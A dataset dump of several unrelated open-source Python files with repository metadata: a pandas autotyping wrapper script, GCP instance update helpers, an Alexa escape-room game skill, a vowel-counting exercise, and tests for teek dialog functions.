9237ecbd7a6409565bcc97447bef41a6b20eddd0
06a045819cf99c7059afde40dca12cf9d3eb5f81
/scripts/run_autotyping.py
4c0a3a9cf985fd928663666bb59a413e26aa69c5
[ "BSD-3-Clause" ]
permissive
MarcoGorelli/pandas
b9882c6ac1e4bc753819b7bc7c8b567964efd275
86a4ee01c7899ef454d35b95cde11e9593921c9d
refs/heads/main
2023-08-22T12:35:45.122152
2023-05-04T22:11:07
2023-05-04T22:11:07
164,618,359
4
1
BSD-3-Clause
2023-05-05T09:02:23
2019-01-08T09:55:54
Python
UTF-8
Python
false
false
1,175
py
""" Script to run ``autotyping``, to get around the fact that pre-commit puts ``args`` before the list of files, whereas ``autotyping`` wants the files to come after, see https://github.com/pandas-dev/pandas/issues/48808#issuecomment-1259711679. """ from __future__ import annotations import argparse import subprocess import sys from typing import Sequence def main(argv: Sequence[str] | None = None) -> None: parser = argparse.ArgumentParser() parser.add_argument("paths", nargs="*") args = parser.parse_args(argv) if not args.paths: sys.exit(0) output = subprocess.run( [ "python", "-m", "libcst.tool", "codemod", "autotyping.AutotypeCommand", *args.paths, "--no-format", "--safe", # all except 'guess-common-names' from 'aggresive' "--bool-param", "--int-param", "--float-param", "--str-param", "--bytes-param", "--annotate-imprecise-magics", ], check=True, ) sys.exit(output.returncode) if __name__ == "__main__": main()
[ "noreply@github.com" ]
MarcoGorelli.noreply@github.com
e3896a244cefbc648f6a2ac32615cf561b81386d
c18060a168ce26fa8516534439f17376334c94bc
/products/compute/helpers/python/instance_update_methods.py
e890556f0f9c2697a42fdd77b31b839436c3f83e
[ "Apache-2.0" ]
permissive
thiagocaiubi/magic-modules
c2778d1cd3129dde74972293b103eaf411a73029
8cddcb7293eafdffcb7ebff16d078909ecd4771f
refs/heads/master
2020-11-25T04:28:15.027397
2020-01-02T17:31:10
2020-01-02T17:31:10
228,502,654
1
0
Apache-2.0
2019-12-17T00:51:10
2019-12-17T00:51:10
null
UTF-8
Python
false
false
995
py
def deletion_protection_update(module, request, response): auth = GcpSession(module, 'compute') auth.post( ''.join(["https://www.googleapis.com/compute/v1/", "projects/{project}/zones/{zone}/instances/{name}/setDeletionProtection?deletionProtection={deletionProtection}"]).format(**module.params), {}, ) def shielded_instance_config_update(module, request, response): auth = GcpSession(module, 'compute') auth.post( ''.join(["https://www.googleapis.com/compute/v1/", "projects/{project}/zones/{zone}/instances/{name}/updateShieldedInstanceConfig"]).format(**module.params), { u'enableSecureBoot': navigate_hash(module.params, ['shielded_instance_config', 'enable_secure_boot']), u'enableVtpm': navigate_hash(module.params, ['shielded_instance_config', 'enable_vtpm']), u'enableIntegrityMonitoring': navigate_hash(module.params, ['shielded_instance_config', 'enable_integrity_monitoring']), } )
[ "magic-modules@google.com" ]
magic-modules@google.com
c254a55643b70b137a01cb7ea1d76d3086b8499a
c1e1f330a559b2a80906cdf331653a015fbd7a1d
/escapeAlexaHandler/.debug/escapeAlexaHandler/.~c9_invoke_nHU15O.py
4ac62e9435e0bf7ffb2019464943ed858619fa05
[]
no_license
milllslm/EscapeAlexa
c62353952a3819f87aef473c69102e7078c4677b
5bd1ae10bc57249d4d3b33481d97878288030533
refs/heads/master
2020-04-03T17:04:44.151525
2018-12-12T00:10:16
2018-12-12T00:10:16
155,416,875
0
0
null
null
null
null
UTF-8
Python
false
false
22,594
py
""" This sample demonstrates a simple skill built with the Amazon Alexa Skills Kit. The Intent Schema, Custom Slots, and Sample Utterances for this skill, as well as testing instructions are located at http://amzn.to/1LzFrj6 For additional samples, visit the Alexa Skills Kit Getting Started guide at testing push message http://amzn.to/1LGWsLG """ from __future__ import print_function import jsonpickle import jsonpickle.tags as tags import jsonpickle.unpickler as unpickler import jsonpickle.util as util from models import Edge, Item, Interactable, Room #ITEMS paperclip = Item("paperclip", False) red_key = Item("red key", False) eyeball = Item("eyeball", False) crowbar = Item("crowbar", False) flashlight = Item("flashlight", False) hammer = Item("hammer", False) blue_key = Item("blue key", False) screwdriver = Item("screwdriver", False) glove = Item("glove", False) skull = Item("skull", False) fingerprint = Item("fingerprint", False) #INTERACTABLES toilet_paper = Interactable("toilet paper", True, [], ["paperclip"]) lockbox = Interactable("lockbox", False, ["paperclip"], ["red key"]) sink = Interactable("sink", True, [], ["eyeball"]) bathtub = Interactable("bathtub", True, [], ["crowbar"]) eyeless_painting = Interactable("eyeless painting", False, ["eyeball"], ["flashlight"]) cracked_painting = Interactable("cracked painting", False, ["crowbar"], ["hammer"]) shoe_box = Interactable("shoe box", True, [], []) skull_chest = Interactable("skull chest", False, ["skull"], ["fingerprint"]) hollow_wall = Interactable("hollow wall", False, ["hammer"], ["screwdriver"]) oven = Interactable("oven", False, ["flashlight"], ["glove", "blue key"]) bookshelf = Interactable("bookshelf", True, [], ["skull"]) loosely_screwed_floorboard = Interactable("loosely screwed floorboard", False, ["screwdriver"], []) #ROOMS bathroom = Room("bathroom", ["hallway"], [red_key, paperclip, eyeball, crowbar], [toilet_paper, lockbox, bathtub, sink], True, []) hallway = Room("hallway", ["bathroom", "attic", "library"], [flashlight, hammer], [eyeless_painting, cracked_painting], False, ["red key"]) attic = Room("attic", ["hallway", "kitchen"], [fingerprint], [shoe_box, skull_chest], True, []) kitchen = Room("kitchen", ["attic"], [glove, blue_key, screwdriver], [oven, hollow_wall], True, []) library = Room("library", ["hallway", "outside"], [skull], [bookshelf, loosely_screwed_floorboard], False, ["blue key"]) outside = Room("outside", ["library"], [], [], False, ["fingerprint"]) RoomNameObjMap = {"bathroom" : bathroom, "hallway": hallway, "attic": attic, "kitchen": kitchen, "library": library, "outside": outside} # --------------- Helpers that build all of the responses ---------------------- def build_speechlet_response(title, output, reprompt_text, should_end_session): return { 'outputSpeech': { 'type': 'PlainText', 'text': output }, 'card': { 'type': 'Simple', 'title': "SessionSpeechlet - " + title, 'content': "SessionSpeechlet - " + output }, 'reprompt': { 'outputSpeech': { 'type': 'PlainText', 'text': reprompt_text } }, 'shouldEndSession': should_end_session } def build_response(session_attributes, speechlet_response): return { 'version': '1.0', 'sessionAttributes': session_attributes, 'response': speechlet_response } def list_inventory_options(priorInventory): """Lists inventory options for the player in the current context""" if not priorInventory: return "no items" else: return ", ".join(priorInventory[:-2] + [" and ".join(priorInventory[-2:])]) # --------------- Functions that control the skill's behavior ------------------ def get_welcome_response(): """ If we wanted to initialize the session to have some attributes we could add those here """ global myRoom session_attributes = {} session_attributes = {"curRoom": jsonpickle.encode(bathroom), "inventory": [], "roomNameObjMap": jsonpickle.encode(RoomNameObjMap)} #load the room from json or something, curRoom: Room1, inventory: [] card_title = "Welcome" speech_output = "Welcome to the Alexa Escape Game. " \ "This game will walk you through various rooms in your quest to escape the house. " \ "Each room will be described to you, you may say, options, at any point to have your options read to you, " \ "If you would like to continue say, start game" # If the user either does not reply to the welcome message or says something # that is not understood, they will be prompted again with this text. reprompt_text = "Please start the game by saying, " \ "start game." should_end_session = False return build_response(session_attributes, build_speechlet_response( card_title, speech_output, reprompt_text, should_end_session)) def handle_session_end_request(): card_title = "Session Ended" speech_output = "Thank you for playing the Alexa Escape Game. " \ "Have a nice day! " # Setting this to true ends the session and exits the skill. should_end_session = True return build_response({}, build_speechlet_response( card_title, speech_output, None, should_end_session)) def create_new_inventory_with_item(itemToPickup, priorInventory): priorInventory.append(itemToPickup) return {"inventory": priorInventory} def first_room_dialogue(intent, session): return recap_handler(intent, session) def recap_handler(intent, session): """Repeats the current room description """ card_title = intent['name'] session_attributes = {} session_attributes = session['attributes'] curRoom = jsonpickle.decode(session_attributes['curRoom'], classes=(Room, Interactable, Item)) should_end_session = False speech_output = curRoom.description reprompt_text = "Didn't catch that what did you say" return build_response(session_attributes, build_speechlet_response( card_title, speech_output, reprompt_text, should_end_session)) def list_options(intent, session): """Lists all options for the player to act on """ card_title = intent['name'] session_attributes = session['attributes'] if not session_attributes['inventory']: priorInventory = [] else: priorInventory = session_attributes['inventory'] should_end_session = False inventory_options = "" inventory_options = list_inventory_options(priorInventory) built_in_alexa_options = "To quit the game say, stop." speech_output = "You may enter an adjacent room by saying, move to, " \ "and then the name of an available edge. You may add any available item to your" \ " inventory by saying, pick up, and then the name of an available item. "+ \ "You may interact with any interactable in the given room by saying, interact with," \ "and then a valid interactable. Lastly, you may try and use an item by saying, use " \ "name-of-item on name-of-interactable-or-edge. Your inventory contains " + \ inventory_options + ". For a recap of the room you are in say, room recap. " + built_in_alexa_options reprompt_text = "Didn't catch that what did you say" return build_response(session_attributes, build_speechlet_response( card_title, speech_output, reprompt_text, should_end_session)) def pickup_item(intent, session): "Picks up an item and adds it to the players inventory" #TODO: error when picking up item, wont remove it from list of room.items card_title = intent['name'] session_attributes = session['attributes'] curRoom = jsonpickle.decode(session_attributes['curRoom'], classes=(Room, Interactable, Item)) if not session_attributes['inventory']: priorInventory = [] else: priorInventory = session_attributes['inventory'] should_end_session = False speech_output = "" reprompt_text = "I didn't quite catch that, please try again." if 'Item' in intent['slots']: try: itemToPickup = intent['slots']['Item']['value'] for item in curRoom.items: if item.name.lower() == itemToPickup.lower() and item.isUnlocked(): session_attributes.update(create_new_inventory_with_item(itemToPickup, priorInventory)) curRoom.items = [x for x in curRoom.items if itemToPickup.lower() != x.name.lower()] curRoom.updateDescription() newKeyVal = {curRoom.name: curRoom} oldRoomNameObjMap = jsonpickle.decode(session_attributes['roomNameObjMap'], classes=(Room, Interactable, Item)) oldRoomNameObjMap.update(newKeyVal) session_attributes.update({'roomNameObjMap': jsonpickle.encode(oldRoomNameObjMap)}) session_attributes.update({'curRoom': jsonpickle.encode(curRoom)}) speech_output = "You picked up the " + \ itemToPickup + \ " and added it to your inventory." reprompt_text = "You can pick up items by saying, pickup 'item name'" break if not speech_output: speech_output = "You tried to pick up an item that either wasn't in this room or was not yet unlocked, try again." reprompt_text = "That is not a valid item, please try again by saying, pick up and then a valid item" except KeyError: speech_output = "Alexa couldn't identify the item you were trying to pick up, please try again." else: speech_output = "That is not a valid item, please try again by saying, pick up and then a valid item" reprompt_text = "That is not a valid item, please try again by saying, pick up and then a valid item" return build_response(session_attributes, build_speechlet_response(card_title, speech_output, reprompt_text, should_end_session)) def interact_handler(intent, session): "Interact with an interactable and resultant effects" card_title = intent['name'] session_attributes = session['attributes'] curRoom = jsonpickle.decode(session_attributes['curRoom'], classes=(Room, Interactable, Item)) should_end_session = False reprompt_text = "That is not a valid interactable, please try again by saying, interact with, and then a valid interactable" if 'Interactable' in intent['slots']: try: thingToInteractWith = intent['slots']['Interactable']['value'] interactedObject = None for interactable in curRoom.interactables: if thingToInteractWith.lower() == interactable.name.lower(): interactedObject = interactable if not interactedObject: speech_output = "That is not a valid interactable, please try again by saying, interact with, and then a valid interactable" elif not interactedObject.unlocked: speech_output = "The interactable is currently locked, please try using an item on it." else: speech_output = curRoom.onInteracted(interactedObject) except KeyError: speech_output = "Alexa couldn't identify the room you were trying to enter, please try again." else: speech_output = "That is not a valid interactable, please try again by saying, interact with, and then a valid interactable" session_attributes.update({'curRoom': jsonpickle.encode(curRoom)}) newKeyVal = {curRoom.name: curRoom} oldRoomNameObjMap = jsonpickle.decode(session_attributes['roomNameObjMap'], classes=(Room, Interactable, Item)) oldRoomNameObjMap.update(newKeyVal) session_attributes.update({'roomNameObjMap': jsonpickle.encode(oldRoomNameObjMap)}) return build_response(session_attributes, build_speechlet_response(card_title, speech_output, reprompt_text, should_end_session)) def move_rooms(intent, session): """ Move into a new room """ card_title = intent['name'] session_attributes = session['attributes'] curRoom = jsonpickle.decode(session_attributes['curRoom'], classes=(Room, Interactable, Item)) should_end_session = False reprompt_text = "You are not able to enter that room from here, either the room is locked or is not accessible from this one." room_names_list_ish = jsonpickle.decode(session_attributes['roomNameObjMap'], classes=(Room, Interactable, Item)) room_names_list = room_names_list_ish.keys() if 'Edge' in intent['slots']: try: roomToEnter = intent['slots']['Edge']['value'] if roomToEnter not in room_names_list: speech_output = "You are trying to move into a room that does not exist." elif not jsonpickle.decode(session_attributes['roomNameObjMap'], classes=(Room, Interactable, Item))[roomToEnter].unlocked: speech_output = "I'm sorry, this room is currently locked, try using an item on it!" elif roomToEnter not in curRoom.edges: speech_output = "You are not able to enter that room from here." else: #its a valid room, lets move curRoom = jsonpickle.decode(session_attributes['roomNameObjMap'], classes=(Room, Interactable, Item))[roomToEnter] session_attributes.update({'curRoom': jsonpickle.encode(curRoom)}) if curRoom.name == "outside": speech_output = "It's over you won congrats go home." should_end_session = True else: speech_output = curRoom.description except KeyError: speech_output = "Alexa couldn't identify the room you were trying to enter, please try again." else: speech_output = "That is not a valid room to enter, please try again by saying, move to the , and then the room name" return build_response(session_attributes, build_speechlet_response(card_title, speech_output, reprompt_text, should_end_session)) def use_handler(intent, session): """ Use an item on an interactable or an edge""" card_title = intent['name'] session_attributes = session['attributes'] curRoom = jsonpickle.decode(session_attributes['curRoom'], classes=(Room, Interactable, Item)) if not session_attributes['inventory']: priorInventory = [] else: priorInventory = session_attributes['inventory'] should_end_session = False reprompt_text = "Not sure what you were trying to do there, try again." if 'UsedOn' in intent['slots'] and 'Item' in intent['slots']: #check for valid items and valid usedon, then do the action try: usedOnName = intent['slots']['UsedOn']['value'] itemName = intent['slots']['Item']['value'] if itemName not in priorInventory: speech_output = "You tried using an item that does not exist in your inventory, try again please." else: oldRoomNameObjMap = jsonpickle.decode(session_attributes['roomNameObjMap'], classes=(Room, Interactable, Item)) room_names_list = oldRoomNameObjMap.keys() if usedOnName in room_names_list: #they tried using item on a room, see if its valid from here if usedOnName in curRoom.edges: #the room is within striking distance of this current room, check if item works on it nextRoom = jsonpickle.decode(session_attributes['roomNameObjMap'], classes=(Room, Interactable, Item))[usedOnName] if itemName in nextRoom.validItemsToUnlockSelf: #unlock that bad boy nextRoom.unlocked = True #need to update with the new key value pair newKeyVal = {usedOnName: nextRoom} oldRoomNameObjMap.update(newKeyVal) session_attributes.update({'roomNameObjMap': jsonpickle.encode(oldRoomNameObjMap)}) speech_output = "You successfully used the " + itemName + " to unlock the " + usedOnName + ", you may now enter that room." else: #this item doesnt work with this room speech_output = "The item you are using does not work on the room you are trying it on, try again." else: #desired room is not within striking distance speech_output = "You are trying to use your item on a room that is not accessible from the one you are currently in, try moving!" else: #they tried using item on an interactable, see if its valid in given room then with given item interactedObject = None for interactable in curRoom.interactables: if usedOnName.lower() == interactable.name.lower(): interactedObject = interactable if not interactedObject: speech_output = "The interactable that you are trying to use your item on is not in the current room." else: #valid item, valid interactable, check if they match up if itemName in interactedObject.validItemsToUnlockSelf: #unlock that bad boy interactedObject.unlocked = True session_attributes.update({'curRoom': jsonpickle.encode(curRoom)}) newKeyVal = {curRoom.name: curRoom} oldRoomNameObjMap = jsonpickle.decode(session_attributes['roomNameObjMap'], classes=(Room, Interactable, Item)) oldRoomNameObjMap.update(newKeyVal) session_attributes.update({'roomNameObjMap': jsonpickle.encode(oldRoomNameObjMap)}) speech_output = "You successfully used the " + itemName + " to unlock the " + usedOnName + ", you may now interact with it." else: speech_output = "The item you are using is not valid for unlocking the interactable in question, try again." except KeyError: speech_output = "Alexa couldn't identify the item you were trying to use or whatever you were trying to use it on, please try again." else: speech_output = "You either tried to use an item that does not exist or tried to use said item on an interactable or edge that does not exist." return build_response(session_attributes, build_speechlet_response(card_title, speech_output, reprompt_text, should_end_session)) # --------------- Events ------------------ def on_session_started(session_started_request, session): """ Called when the session starts """ print("on_session_started requestId=" + session_started_request['requestId'] + ", sessionId=" + session['sessionId']) def on_launch(launch_request, session): """ Called when the user launches the skill without specifying what they want """ print("on_launch requestId=" + launch_request['requestId'] + ", sessionId=" + session['sessionId']) # Dispatch to your skill's launch return get_welcome_response() def on_intent(intent_request, session): """ Called when the user specifies an intent for this skill """ print("on_intent requestId=" + intent_request['requestId'] + ", sessionId=" + session['sessionId']) intent = intent_request['intent'] intent_name = intent_request['intent']['name'] # Dispatch to your skill's intent handlers if intent_name == "StartGameIntent": return first_room_dialogue(intent, session) elif intent_name == "OptionsIntent": return list_options(intent, session) elif intent_name == "InteractIntent": return interact_handler(intent, session) elif intent_name == "PickupIntent": return pickup_item(intent, session) elif intent_name == "MoveIntent": return move_rooms(intent, session) elif intent_name == "UseIntent": return use_handler(intent, session) elif intent_name == "RoomRecapIntent": return recap_handler(intent, session) elif intent_name == "AMAZON.HelpIntent": return list_options(intent, session) elif intent_name == "AMAZON.CancelIntent" or intent_name == "AMAZON.StopIntent": return handle_session_end_request() else: raise ValueError("Invalid intent") def on_session_ended(session_ended_request, session): """ Called when the user ends the session. Is not called when the skill returns should_end_session=true """ print("on_session_ended requestId=" + session_ended_request['requestId'] + ", sessionId=" + session['sessionId']) # add cleanup logic here # --------------- Main handler ------------------ def lambda_handler(event, context): """ Route the incoming request based on type (LaunchRequest, IntentRequest, etc.) The JSON body of the request is provided in the event parameter. """ print("event.session.application.applicationId=" + event['session']['application']['applicationId']) """ Uncomment this if statement and populate with your skill's application ID to prevent someone else from configuring a skill that sends requests to this function. """ # if (event['session']['application']['applicationId'] != # "amzn1.echo-sdk-ams.app.[unique-value-here]"): # raise ValueError("Invalid Application ID") if event['session']['new']: on_session_started({'requestId': event['request']['requestId']}, event['session']) if event['request']['type'] == "LaunchRequest": return on_launch(event['request'], event['session']) elif event['request']['type'] == "IntentRequest": return on_intent(event['request'], event['session']) elif event['request']['type'] == "SessionEndedRequest": return on_session_ended(event['request'], event['session'])
[ "ec2-user@ip-172-31-54-73.ec2.internal" ]
ec2-user@ip-172-31-54-73.ec2.internal
ea087e1600dbbc7ded8de1d9bc122c675c440911
03aebbf4fe13a3a0d79f738a0c2cd7741a788cdd
/Oreily/Ch3_structures/my_vowels.py
049c658053f3ac5f51f28f7366ceb56376cb285b
[]
no_license
Maxim-Krivobokov/python-practice
c69d2fbe601ed7e8388a564bf20a7ceab283919d
718698dfaeabd5ea000bce3a20bf18d1efe938c2
refs/heads/master
2021-05-24T10:27:29.022718
2020-07-22T14:34:15
2020-07-22T14:34:15
253,518,510
0
0
null
null
null
null
UTF-8
Python
false
false
515
py
found = {} vowels = ['i', 'o', 'u', 'a', 'e'] for i in vowels: found[i] = 0 print('empty dict:') print(found) print(' ') word = input('Enter a word. \n') for letter in word: if letter.lower() in vowels: found[letter.lower()] += 1 print('result sorted dict:') print(sorted(found)) # for key in sorted(found): # print(key + ' was found ' + str(found[key]) + ' times') # not perfect way to print dict for key, value in sorted(found.items()): print(key, ' was found ', value, ' times.')
[ "maxim.krivobokov@gmail.com" ]
maxim.krivobokov@gmail.com
d56963f68c8d514d30e9424ead0eab971bc3b439
f18125b848e37a64e35136a90cf4694e52eb9fcc
/tests/extras/test_more_dialogs.py
924ed7541cfe2abe8d94b7e24126d49f759ad283
[ "MIT" ]
permissive
carlbordum/teek
d19271dfe11e3e77052b1a3c215ddf6a9d50e440
a931b468744c8236fd4ce6f1dc3a8c4829d59db3
refs/heads/master
2020-04-16T11:41:10.909230
2019-01-13T19:24:16
2019-01-13T19:24:16
165,547,247
0
0
null
2019-01-13T19:48:26
2019-01-13T19:48:26
null
UTF-8
Python
false
false
5,017
py
import pytest import teek as tk from teek._widgets.windows import WmMixin from teek.extras import more_dialogs def test_ask_string(handy_callback, monkeypatch): def validator(string): if string not in ('asd', 'wat'): raise ValueError return string.upper() real_run = more_dialogs._EntryDialog.run @handy_callback def fake_run(entrydialog): @handy_callback def fake_wait_window(): [label] = [widget for widget in entrydialog.window.winfo_children() if isinstance(widget, tk.Label)] [entry] = [widget for widget in entrydialog.window.winfo_children() if isinstance(widget, tk.Entry)] assert entrydialog.window.toplevel.title == 'A' assert label.config['text'] == 'B' def get_stuff(): assert entry.text == entrydialog.var.get() return (entry.text, entrydialog.ok_button.config['state'], entrydialog.result) assert get_stuff() == ('boo', 'disabled', None) entry.text = 'a' assert get_stuff() == ('a', 'disabled', None) entry.text = 'asd' assert get_stuff() == ('asd', 'normal', 'ASD') entry.text = 'b' assert get_stuff() == ('b', 'disabled', None) entry.text = 'wat' assert get_stuff() == ('wat', 'normal', 'WAT') entry.text = 'c' assert get_stuff() == ('c', 'disabled', None) # the button is disabled now, so on_ok must do nothing entrydialog.on_ok() assert get_stuff() == ('c', 'disabled', None) assert entrydialog.window.winfo_exists() entry.text = 'wat' assert get_stuff() == ('wat', 'normal', 'WAT') entrydialog.on_ok() assert not entrydialog.window.winfo_exists() entrydialog.window.wait_window = fake_wait_window result = real_run(entrydialog) assert fake_wait_window.ran_once() return result monkeypatch.setattr(more_dialogs._EntryDialog, 'run', fake_run) assert more_dialogs.ask_string( 'A', 'B', validator=validator, initial_value='boo', parent=tk.Window()) == 'WAT' assert fake_run.ran_once() def test_ask_string_canceling(handy_callback, monkeypatch): @handy_callback def fake_run(entrydialog): [entry] = [widget for widget in entrydialog.window.winfo_children() if isinstance(widget, tk.Entry)] entry.text = 'a' assert entrydialog.window.winfo_exists() assert entrydialog.result == 'a' entrydialog.on_cancel() assert not entrydialog.window.winfo_exists() assert entrydialog.result is None monkeypatch.setattr(more_dialogs._EntryDialog, 'run', fake_run) more_dialogs.ask_string('A', 'B') assert fake_run.ran_once() def test_ask_integer(handy_callback, monkeypatch): with pytest.raises(ValueError): more_dialogs.ask_integer('a', 'b', range(10, 1, -1)) real_entrydialog = more_dialogs._EntryDialog @handy_callback def fake_entrydialog(*args): a, b, creator, validator, initial_value, parent = args assert a == 'a' assert b == 'b' assert callable(creator) assert callable(validator) assert initial_value == initial assert parent is None or isinstance(parent, WmMixin) entrydialog = real_entrydialog(*args) entrydialog.run = lambda: 123 [spinbox] = [widget for widget in entrydialog.window.winfo_children() if isinstance(widget, tk.Spinbox)] assert spinbox.text == str(initial) assert entrydialog.result == initial spinbox.text = 'asd' assert entrydialog.result is None spinbox.text = '12345678' assert entrydialog.result is None spinbox.text = str(initial) assert entrydialog.result == initial for item in spinbox_config.items(): assert item in list(spinbox.config.items()) return entrydialog monkeypatch.setattr(more_dialogs, '_EntryDialog', fake_entrydialog) assert fake_entrydialog.ran == 0 spinbox_config = {'from': 10, 'to': 30, 'increment': 5} initial = 10 assert more_dialogs.ask_integer('a', 'b', range(10, 33, 5)) == 123 assert fake_entrydialog.ran == 1 # the spinbox's config contains strings because spinboxes can be used for # non-integer things too spinbox_config = {'values': ['1', '4', '3']} initial = 1 assert more_dialogs.ask_integer('a', 'b', [1, 4, 3]) == 123 assert fake_entrydialog.ran == 2 initial = 4 assert more_dialogs.ask_integer('a', 'b', [1, 4, 3], initial_value=4, parent=tk.Window()) == 123 assert fake_entrydialog.ran == 3 with pytest.raises(ValueError): more_dialogs.ask_integer('a', 'b', [1, 4, 3], initial_value=666)
[ "akuviljanen17@gmail.com" ]
akuviljanen17@gmail.com
eb59da00a7f80cd0367859382aec55ab9ebca3c5
05483471298c3f277b57524a78c1a81867b7afd7
/automate_online-materials/ch5-1.py
10a7b756948d3eb4bca46dab8d6d20954132e242
[]
no_license
lanchunyuan/Python
c09fc19dbc26fe9925110da6237d48e06baa77ab
2cafc62255e27306a6085fb64e5b21d851e98d51
refs/heads/master
2020-04-18T09:51:28.521649
2019-02-06T14:19:02
2019-02-06T14:19:02
167,449,312
0
0
null
null
null
null
UTF-8
Python
false
false
723
py
items = {'rope': 1, 'torch': 6, 'gold coin': 42, 'dagger': 1, 'arrow': 12} def displayInventory(spam): count =0 print('Inventory:') for k,v in spam.items(): print(str(v) + ' ' + k) count += v print('Total number of items : ' + str(count)) # displayInventory(items) def addToInventory(inventory, addedItems): # your code goes here for item in addedItems: inventory.setdefault(item,0) inventory[item] += 1 return inventory # if the item in the dict ,update the value,or add the key and value inv = {'gold coin': 42, 'rope': 1} dragonLoot = ['gold coin', 'dagger', 'gold coin', 'gold coin', 'ruby'] inv = addToInventory(inv, dragonLoot) displayInventory(inv)
[ "lanchunyuan@gmail.com" ]
lanchunyuan@gmail.com
446695841a64f138fd3ed1a650490f7fc862258b
20f195790d8356c6775c3626177b2a654f48c0d5
/personal/apps.py
ff30504f45e06262c89f2866c5b164d525325a0c
[]
no_license
saurabhkumar8112/portfolio-final
0d21a30d6cf1391a41f3d5affeec8aa0eacb0208
8c6502ea223b5795fbf1e8c4c9c42ae4cbb41048
refs/heads/master
2021-01-18T15:01:10.502860
2017-03-08T16:16:31
2017-03-08T16:16:31
84,341,462
3
0
null
null
null
null
UTF-8
Python
false
false
130
py
from django.apps import AppConfig from __future__ import unicode_literals class PersonalConfig(AppConfig): name = 'personal'
[ "akshat.khare08@gmail.com" ]
akshat.khare08@gmail.com
cabe44a27fb5d469ffcfde8fe31beb567d6f6d60
b1f7e9ed23f017d1a32831e2f552fbefebed8edc
/code/mqtt_babelfish.py
39560566d8b53591b359933fc536ccffdf2df2e0
[ "Apache-2.0" ]
permissive
vanceb/mqtt_babelfish
78c76bfc486290b4ddc26cb77b5e94478798a2fb
ab867a03833a1d96c9c112bbd4ea7b0b1fb23777
refs/heads/master
2020-04-01T18:21:15.413017
2019-07-07T09:09:07
2019-07-07T09:09:07
153,487,050
0
0
null
null
null
null
UTF-8
Python
false
false
2,826
py
import os import logging import logging.config import yaml import paho.mqtt.client as mqtt # Load logging config from logging.yaml def setup_logging(default_path='./conf/logging.yaml', default_level=logging.INFO, env_key='LOG_CFG'): path = default_path value = os.getenv(env_key, None) if value: path = value if os.path.exists(path): with open(path, 'rt') as f: config = yaml.load(f) logging.config.dictConfig(config) logging.info("Configured logging from yaml") else: logging.basicConfig(level=default_level) logging.info("Configured logging basic") # Load config from yaml file def load_config(path='./conf/config.yaml'): config = None log = logging.getLogger(__name__) if os.path.exists(path): log.debug("Loading config from: " + str(path)) with open(path, 'r') as y: config = yaml.load(y) log.debug("Config: " + str(config)) else: log.error("Config file not found: " + path) return config # Callback for connection def on_connect(client, config, flags, rc): log = logging.getLogger(__name__) log.info("Connected to mqtt server") # Subscribe for topic in config["subscribe"]: log.info("Subscribing to: " + topic) client.subscribe(topic) def on_message(client, config, msg): log = logging.getLogger(__name__) if type(msg.payload) == type(b'1'): payload = msg.payload.decode('UTF-8') else: payload = msg.payload log.info("Received message: " + msg.topic + " " + payload) if msg.topic in config["translate_topic"]: # We should translate the incoming message # Topic t = config["translate_topic"][msg.topic] # Message if payload in config["translate_message"]: m = config["translate_message"][payload] else: m = payload # Republish log.info("Republishing to: " + t + " " + str(m)) client.publish(t, m) def main(): setup_logging() log = logging.getLogger(__name__) log.info("Started babelfish...") config = load_config() client = mqtt.Client() client.on_connect = on_connect client.on_message = on_message if config["tls"]["ca_certs"]: client.tls_set(ca_certs=config["tls"]["ca_certs"]) if config["mqtt"]["password"]: client.username_pw_set( config["mqtt"]["username"], password = config["mqtt"]["password"] ) # Give the on connect callback access to the config # so we can subscribe to configured topics client.user_data_set(config) client.connect(config["mqtt"]["host"], config["mqtt"]["port"], 60) client.loop_forever() if __name__ == "__main__": main()
[ "vance@axxe.co.uk" ]
vance@axxe.co.uk
32953994e601e12033d71862b9d11d5399291cdf
2697d6f33e325a3596a8effa17fda3695f165e8b
/filter/inject-publication/inject-publication.py
6a412eb35d7733e240b423896933a1cccc4b870d
[]
no_license
msprev/dot-panzer
1ad9cfcbed071254c618baa8297cf181d5178f0f
7d3f0406a3efa6e6af6b3050a3c43e65420ffcdd
refs/heads/master
2021-01-18T21:19:36.016978
2019-02-12T13:22:10
2019-02-12T13:22:10
26,055,734
13
10
null
2015-10-03T14:17:49
2014-11-01T16:19:43
Python
UTF-8
Python
false
false
342
py
#!/usr/bin/env python3 from pandocinject import Injector from pandocfilters import toJSONFilter from importlib import import_module if __name__ == "__main__": s = import_module('selector') f = import_module('formatter') i = Injector('inject-publication', selector_module=s, formatter_module=f) toJSONFilter(i.get_filter())
[ "sprevak.home@gmail.com" ]
sprevak.home@gmail.com
ae8fd6ab1a7b3bb83dbb3289ca8c3ce0f933fcf5
1e9661a056bcf8b1e708753e869c3453cce6b148
/Day01/min_max_avg.py
f43bdb78a9de059dc897f6e1b1fbdb6f4f82cd6f
[]
no_license
Code360In/IBM
e4e62c9da5533d16f92972cd8799fc3d3cd04b9c
a89da6618139a342fc652457e1435790db5eb664
refs/heads/master
2023-03-25T04:27:51.266481
2020-03-10T17:15:16
2020-03-10T17:15:16
null
0
0
null
null
null
null
UTF-8
Python
false
false
461
py
# Program to extract the minimum, maximum and # Average of the user given numbers # Input L = [] ud = '' while ud != 'q': ud = input('## (q to quit) ? ') if(ud.isdigit()): L.append(int(ud)) print('-'*60) print('VALID INPUTS:') print(L) print('-'*60) # Process minimum = min(L) maximum = max(L) average = sum(L)/len(L) # Output print('MINIMUM : ', minimum) print('MAXIMUM : ', maximum) print('AVERAGE : ', average)
[ "noreply@github.com" ]
Code360In.noreply@github.com
1bffb53f70438d6c9c747113acfb2b880386af94
43196d7898c6e65d0ef236710614cfee60b2e181
/knn_predict.py
32677e827a0826de4e0cd4625699b2dc5ebcacc3
[]
no_license
finallybiubiu/lending_club
e106dd5e00c31c0c73f003454322ca6f8a955672
d0c88e72ff1fc7d570e7cad099dd68c3c3d6f412
refs/heads/master
2021-01-16T18:40:42.337607
2016-05-27T19:04:43
2016-05-27T19:04:43
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,939
py
